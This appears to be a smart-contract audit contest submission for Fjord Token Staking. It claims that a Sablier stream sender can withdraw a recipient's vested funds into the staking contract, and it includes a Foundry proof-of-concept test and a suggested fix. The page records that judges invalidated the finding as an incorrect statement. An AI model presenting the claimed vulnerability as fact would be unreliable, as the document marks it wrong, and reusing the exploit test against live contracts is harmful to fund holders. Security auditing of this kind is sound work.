Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Withdrawing by stream sender is not handled

PawelKedzia

Summary

A stream sender can withdraw funds on behalf of a stream recipient. This case is not handled in the staking contract.

Vulnerability Details

The stream sender can withdraw the accumulated amount on behalf of the recipient to the recipient's account. When this happens, the onStreamWithdrawn https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordStaking.sol#L792 callback will be triggered, which is not handled in any way in the staking contract. As a result, the amount will be withdrawn to the staking contract's account (since it is the owner at the time of withdrawal). The stream owner will forfeit all withdrawn funds since they are no longer linked to the NFT. When the original owner regains possession of the NFT, they will be unable to recover the withdrawn tokens.
This is a dangerous situation because the sender, despite being authorized by the protocol's owners, is not an owner, and cannot be considered as fully trusted. The sender might even unintentionally automate withdrawals for recipients periodically, leading to the loss of vested stream funds for the recipient.

The test below demonstrates how this mechanism works. To run it, create it in the unit folder:

// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity =0.8.21;
​
import "../FjordStakingBase.t.sol";
​
contract ExploitsTest is FjordStakingBase {
function beforeSetup() internal override {
// don't use mock contract to use real points contract
isMock = false;
}
​
function test_exploit_stream_withdraw_by_sender() public {
ISablierV2LockupLinear sablier = ISablierV2LockupLinear(SABLIER_ADDRESS);
​
// finish required set up
FjordPoints(points).setStakingContract(address(fjordStaking));
​
// alice is default reciepient
address reciepient = alice;
​
// address(this) is default sender
address sender = address(this);
​
uint256 stakedAmount = 10000000000000000000;
​
uint256 streamId =
createStreamAndStake({ cancelable: true, sender: sender, amount: stakedAmount });
​
(uint256 stakedAmountInFjordPointsBeforeCancel,,) = FjordPoints(points).users(reciepient);
​
assertEq(fjordStaking.getStreamOwner(streamId), reciepient);
​
assertEq(stakedAmount, stakedAmountInFjordPointsBeforeCancel);
​
// skip to time after after end of the stream
skip(20 days);
​
assertEq(sablier.withdrawableAmountOf(streamId), stakedAmount);
​
// withdraw all amount to the staking contract
sablier.withdrawMax({ streamId: streamId, to: address(fjordStaking) });
​
// nothing left to withdraw for the Alice when she gets back the NFT
assertEq(sablier.withdrawableAmountOf(streamId), 0);
}
}
​

Impact

Tokens lost by the user.

Tools Used

Manual review.

Recommendations

Handle fund withdrawals in onStreamWithdrawn
https://github.com/Cyfrin/2024-08-fjord/blob/main/src/FjordStaking.sol#L792. For example, transferred funds can be moved from the user's vested balance to the regular staking balance, in the same epoch the stream was originally staked, and treated as if they had been staked from the beginning using the standard staking method. This way, the user won't lose funds during the withdrawal and won't have to restake them again.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.